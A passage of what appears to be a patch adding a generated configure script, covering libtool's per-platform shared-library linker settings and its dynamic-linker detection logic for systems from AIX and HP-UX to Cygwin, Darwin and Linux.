5.0"*) + wlarc='' + archive_cmds='$LD -G$allow_undefined_flag -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $LD -G$allow_undefined_flag -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp' + ;; + *) + wlarc='$wl' + archive_cmds='$CC -G$allow_undefined_flag -h $soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -G$allow_undefined_flag -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' + ;; + esac + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_shlibpath_var=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) + # The compiler driver will combine and reorder linker options, + # but understands '-z linker_flag'. GCC discards it without '$wl', + # but is careful enough not to reorder. + # Supported since Solaris 2.6 (maybe 2.5.1?) + if test yes = "$GCC"; then + whole_archive_flag_spec='$wl-z ${wl}allextract$convenience $wl-z ${wl}defaultextract' + else + whole_archive_flag_spec='-z allextract$convenience -z defaultextract' + fi + ;; + esac + link_all_deplibs=yes + ;; + + sunos4*) + if test sequent = "$host_vendor"; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds='$CC -G $wl-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec='-L$libdir' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds='$CC -r -o $output$reload_objs' + hardcode_direct=no + ;; + motorola) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var=no + ;; + + sysv4.3*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + export_dynamic_flag_spec='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs=yes + fi + ;; + + sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*) + no_undefined_flag='$wl-z,text' + archive_cmds_need_lc=no + hardcode_shlibpath_var=no + runpath_var='LD_RUN_PATH' + + if test yes = "$GCC"; then + archive_cmds='$CC -shared $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$CC -G $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -G $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + ;; + + sysv5* | sco3.2v5* | sco5v6*) + # Note: We CANNOT use -z defs as we might desire, because we do not + # link with -lc, and that would cause any symbols used from libc to + # always be unresolved, which means just about no library would + # ever link correctly. If we're not using GNU ld we use -z text + # though, which does catch some bad symbols but isn't as heavy-handed + # as -z defs. + no_undefined_flag='$wl-z,text' + allow_undefined_flag='$wl-z,nodefs' + archive_cmds_need_lc=no + hardcode_shlibpath_var=no + hardcode_libdir_flag_spec='$wl-R,$libdir' + hardcode_libdir_separator=':' + link_all_deplibs=yes + export_dynamic_flag_spec='$wl-Bexport' + runpath_var='LD_RUN_PATH' + + if test yes = "$GCC"; then + archive_cmds='$CC -shared $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$CC -G $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -G $wl-Bexport:$export_symbols $wl-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + ;; + + uts4*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + *) + ld_shlibs=no + ;; + esac + + if test sni = "$host_vendor"; then + case $host in + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + export_dynamic_flag_spec='$wl-Blargedynsym' + ;; + esac + fi + fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs" >&5 +printf "%s\n" "$ld_shlibs" >&6; } +test no = "$ld_shlibs" && can_build_shared=no + +with_gnu_ld=$with_gnu_ld + + + + + + + + + + + + + + + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc=yes + + if test yes,yes = "$GCC,$enable_shared"; then + case $archive_cmds in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5 +printf %s "checking whether -lc should be explicitly linked in... " >&6; } +if test ${lt_cv_archive_cmds_need_lc+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) $RM conftest* + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl + pic_flag=$lt_prog_compiler_pic + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag + allow_undefined_flag= + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1\""; } >&5 + (eval $archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + then + lt_cv_archive_cmds_need_lc=no + else + lt_cv_archive_cmds_need_lc=yes + fi + allow_undefined_flag=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $RM conftest* + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_archive_cmds_need_lc" >&5 +printf "%s\n" "$lt_cv_archive_cmds_need_lc" >&6; } + archive_cmds_need_lc=$lt_cv_archive_cmds_need_lc + ;; + esac + fi + ;; +esac + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5 +printf %s "checking dynamic linker characteristics... " >&6; } + +if test yes = "$GCC"; then + case $host_os in + darwin*) lt_awk_arg='/^libraries:/,/LR/' ;; + *) lt_awk_arg='/^libraries:/' ;; + esac + case $host_os in + mingw* | cegcc*) lt_sed_strip_eq='s|=\([A-Za-z]:\)|\1|g' ;; + *) lt_sed_strip_eq='s|=/|/|g' ;; + esac + lt_search_path_spec=`$CC -print-search-dirs | awk $lt_awk_arg | $SED -e "s/^libraries://" -e $lt_sed_strip_eq` + case $lt_search_path_spec in + *\;*) + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED 's/;/ /g'` + ;; + *) + lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED "s/$PATH_SEPARATOR/ /g"` + ;; + esac + # Ok, now we have the path, separated by spaces, we can step through it + # and add multilib dir if necessary... + lt_tmp_lt_search_path_spec= + lt_multi_os_dir=/`$CC $CPPFLAGS $CFLAGS $LDFLAGS -print-multi-os-directory 2>/dev/null` + # ...but if some path component already ends with the multilib dir we assume + # that all is fine and trust -print-search-dirs as is (GCC 4.2? or newer). + case "$lt_multi_os_dir; $lt_search_path_spec " in + "/; "* | "/.; "* | "/./; "* | *"$lt_multi_os_dir "* | *"$lt_multi_os_dir/ "*) + lt_multi_os_dir= + ;; + esac + for lt_sys_path in $lt_search_path_spec; do + if test -d "$lt_sys_path$lt_multi_os_dir"; then + lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path$lt_multi_os_dir" + elif test -n "$lt_multi_os_dir"; then + test -d "$lt_sys_path" && \ + lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path" + fi + done + lt_search_path_spec=`$ECHO "$lt_tmp_lt_search_path_spec" | awk ' +BEGIN {RS = " "; FS = "/|\n";} { + lt_foo = ""; + lt_count = 0; + for (lt_i = NF; lt_i > 0; lt_i--) { + if ($lt_i != "" && $lt_i != ".") { + if ($lt_i == "..") { + lt_count++; + } else { + if (lt_count == 0) { + lt_foo = "/" $lt_i lt_foo; + } else { + lt_count--; + } + } + } + } + if (lt_foo != "") { lt_freq[lt_foo]++; } + if (lt_freq[lt_foo] == 1) { print lt_foo; } +}'` + # AWK program above erroneously prepends '/' to C:/dos/paths + # for these hosts. + case $host_os in + mingw* | cegcc*) lt_search_path_spec=`$ECHO "$lt_search_path_spec" |\ + $SED 's|/\([A-Za-z]:\)|\1|g'` ;; + esac + sys_lib_search_path_spec=`$ECHO "$lt_search_path_spec" | $lt_NL2SP` +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=.so +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + + + +case $host_os in +aix3*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='$libname$release$shared_ext$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='$libname$release$shared_ext$major' + ;; + +aix[4-9]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test ia64 = "$host_cpu"; then + # AIX 5 supports IA64 + library_names_spec='$libname$release$shared_ext$major $libname$release$shared_ext$versuffix $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line '#! .'. This would cause the generated library to + # depend on '.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | $CC -E - | $GREP yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # Using Import Files as archive members, it is possible to support + # filename-based versioning of shared library archives on AIX. While + # this would work for both with and without runtime linking, it will + # prevent static linking of such archives. So we do filename-based + # shared library versioning with .so extension only, which is used + # when both runtime linking and shared linking is enabled. + # Unfortunately, runtime linking may impact performance, so we do + # not want this to be the default eventually. Also, we use the + # versioned .so libs for executables only if there is the -brtl + # linker flag in LDFLAGS as well, or --with-aix-soname=svr4 only. + # To allow for filename-based versioning support, we need to create + # libNAME.so.V as an archive file, containing: + # *) an Import File, referring to the versioned filename of the + # archive as well as the shared archive member, telling the + # bitwidth (32 or 64) of that shared object, and providing the + # list of exported symbols of that shared object, eventually + # decorated with the 'weak' keyword + # *) the shared object with the F_LOADONLY flag set, to really avoid + # it being seen by the linker. + # At run time we better use the real file rather than another symlink, + # but for link time we create the symlink libNAME.so -> libNAME.so.V + + case $with_aix_soname,$aix_use_runtimelinking in + # AIX (on Power*) has no versioning support, so currently we cannot hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + aix,yes) # traditional libtool + dynamic_linker='AIX unversionable lib.so' + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + ;; + aix,no) # traditional AIX only + dynamic_linker='AIX lib.a(lib.so.V)' + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='$libname$release.a $libname.a' + soname_spec='$libname$release$shared_ext$major' + ;; + svr4,*) # full svr4 only + dynamic_linker="AIX lib.so.V($shared_archive_member_spec.o)" + library_names_spec='$libname$release$shared_ext$major $libname$shared_ext' + # We do not specify a path in Import Files, so LIBPATH fires. + shlibpath_overrides_runpath=yes + ;; + *,yes) # both, prefer svr4 + dynamic_linker="AIX lib.so.V($shared_archive_member_spec.o), lib.a(lib.so.V)" + library_names_spec='$libname$release$shared_ext$major $libname$shared_ext' + # unpreferred sharedlib libNAME.a needs extra handling + postinstall_cmds='test -n "$linkname" || linkname="$realname"~func_stripname "" ".so" "$linkname"~$install_shared_prog "$dir/$func_stripname_result.$libext" "$destdir/$func_stripname_result.$libext"~test -z "$tstripme" || test -z "$striplib" || $striplib "$destdir/$func_stripname_result.$libext"' + postuninstall_cmds='for n in $library_names $old_library; do :; done~func_stripname "" ".so" "$n"~test "$func_stripname_result" = "$n" || func_append rmfiles " $odir/$func_stripname_result.$libext"' + # We do not specify a path in Import Files, so LIBPATH fires. + shlibpath_overrides_runpath=yes + ;; + *,no) # both, prefer aix + dynamic_linker="AIX lib.a(lib.so.V), lib.so.V($shared_archive_member_spec.o)" + library_names_spec='$libname$release.a $libname.a' + soname_spec='$libname$release$shared_ext$major' + # unpreferred sharedlib libNAME.so.V and symlink libNAME.so need extra handling + postinstall_cmds='test -z "$dlname" || $install_shared_prog $dir/$dlname $destdir/$dlname~test -z "$tstripme" || test -z "$striplib" || $striplib $destdir/$dlname~test -n "$linkname" || linkname=$realname~func_stripname "" ".a" "$linkname"~(cd "$destdir" && $LN_S -f $dlname $func_stripname_result.so)' + postuninstall_cmds='test -z "$dlname" || func_append rmfiles " $odir/$dlname"~for n in $old_library $library_names; do :; done~func_stripname "" ".a" "$n"~func_append rmfiles " $odir/$func_stripname_result.so"' + ;; + esac + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + case $host_cpu in + powerpc) + # Since July 2007 AmigaOS4 officially supports .so libraries. + # When compiling the executable, add -use-dynld -Lsobjs: to the compileline. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + ;; + m68k) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`func_echo_all "$lib" | $SED '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + esac + ;; + +beos*) + library_names_spec='$libname$shared_ext' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32* | cegcc*) + version_type=windows + shrext_cmds=.dll + need_version=no + need_lib_prefix=no + + case $GCC,$cc_basename in + yes,*) + # gcc + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \$file`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\$base_file'\''i; echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname~ + chmod a+x \$dldir/$dlname~ + if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then + eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; + fi' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo $libname | $SED -e 's/^lib/cyg/'``echo $release | $SED -e 's/[.]/-/g'`$versuffix$shared_ext' + + sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/lib/w32api" + ;; + mingw* | cegcc*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='$libname`echo $release | $SED -e 's/[.]/-/g'`$versuffix$shared_ext' + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo $libname | $SED -e 's/^lib/pw/'``echo $release | $SED -e 's/[.]/-/g'`$versuffix$shared_ext' + ;; + esac + dynamic_linker='Win32 ld.exe' + ;; + + *,cl* | *,icl*) + # Native MSVC or ICC + libname_spec='$name' + soname_spec='$libname`echo $release | $SED -e 's/[.]/-/g'`$versuffix$shared_ext' + library_names_spec='$libname.dll.lib' + + case $build_os in + mingw*) + sys_lib_search_path_spec= + lt_save_ifs=$IFS + IFS=';' + for lt_path in $LIB + do + IFS=$lt_save_ifs + # Let DOS variable expansion print the short 8.3 style file name. + lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"` + sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path" + done + IFS=$lt_save_ifs + # Convert to MSYS style. + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'` + ;; + cygwin*) + # Convert to unix form, then to dos form, then back to unix form + # but this time dos style (no spaces!) so that the unix form looks + # like /cygdrive/c/PROGRA~1:/cygdr... + sys_lib_search_path_spec=`cygpath --path --unix "$LIB"` + sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null` + sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + ;; + *) + sys_lib_search_path_spec=$LIB + if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH. + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + # FIXME: find the short name or the path components, as spaces are + # common. (e.g. "Program Files" -> "PROGRA~1") + ;; + esac + + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \$file`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\$base_file'\''i; echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $RM \$dlpath' + shlibpath_overrides_runpath=yes + dynamic_linker='Win32 link.exe' + ;; + + *) + # Assume MSVC and ICC wrapper + library_names_spec='$libname`echo $release | $SED -e 's/[.]/-/g'`$versuffix$shared_ext $libname.lib' + dynamic_linker='Win32 ld.exe' + ;; + esac + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$major$shared_ext $libname$shared_ext' + soname_spec='$libname$release$major$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`' + + sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/local/lib" + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd* | dragonfly* | midnightbsd*) + # DragonFly does not have aout. When/if they implement a new + # versioning mechanism, adjust this. + if test -x /usr/bin/objformat; then + objformat=`/usr/bin/objformat` + else + case $host_os in + freebsd[23].*) objformat=aout ;; + *) objformat=elf ;; + esac + fi + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='$libname$release$shared_ext$versuffix $libname$shared_ext$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2.*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + freebsd3.[2-9]* | freebsdelf3.[2-9]* | \ + freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1) + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + *) # from 4.6 on, and DragonFly + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + esac + ;; + +haiku*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + dynamic_linker="$host_os runtime_loader" + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LIBRARY_PATH + shlibpath_overrides_runpath=no + sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case $host_cpu in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + if test 32 = "$HPUX_IA64_MODE"; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + sys_lib_dlsearch_path_spec=/usr/lib/hpux32 + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + sys_lib_dlsearch_path_spec=/usr/lib/hpux64 + fi + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555, ... + postinstall_cmds='chmod 555 $lib' + # or fails outright, so override atomically: + install_override_mode=555 + ;; + +interix[3-9]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test yes = "$lt_cv_prog_gnu_ld"; then + version_type=linux # correct to gnu/linux during the next big refactor + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='$libname$release$shared_ext$major' + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$release$shared_ext $libname$shared_ext' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib$libsuff /lib$libsuff /usr/local/lib$libsuff" + sys_lib_dlsearch_path_spec="/usr/lib$libsuff /lib$libsuff" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +linux*android*) + version_type=none # Android doesn't support versioned libraries. + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext' + soname_spec='$libname$release$shared_ext' + finish_cmds= + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + dynamic_linker='Android linker' + # Don't embed -rpath directories since the linker doesn't support them. + hardcode_libdir_flag_spec='-L$libdir' + ;; + +# This must be glibc/ELF. +linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + soname_spec='$libname$release$shared_ext$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + + # Some binutils ld are patched to set DT_RUNPATH + if test ${lt_cv_shlibpath_overrides_runpath+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_shlibpath_overrides_runpath=no + save_LDFLAGS=$LDFLAGS + save_libdir=$libdir + eval "libdir=/foo; wl=\"$lt_prog_compiler_wl\"; \ + LDFLAGS=\"\$LDFLAGS $hardcode_libdir_flag_spec\"" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + if ($OBJDUMP -p conftest$ac_exeext) 2>/dev/null | grep "RUNPATH.*$libdir" >/dev/null +then : + lt_cv_shlibpath_overrides_runpath=yes +fi +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + LDFLAGS=$save_LDFLAGS + libdir=$save_libdir + ;; +esac +fi + + shlibpath_overrides_runpath=$lt_cv_shlibpath_overrides_runpath + + # This implies no fast_install, which is unacceptable. + # Some rework will be needed 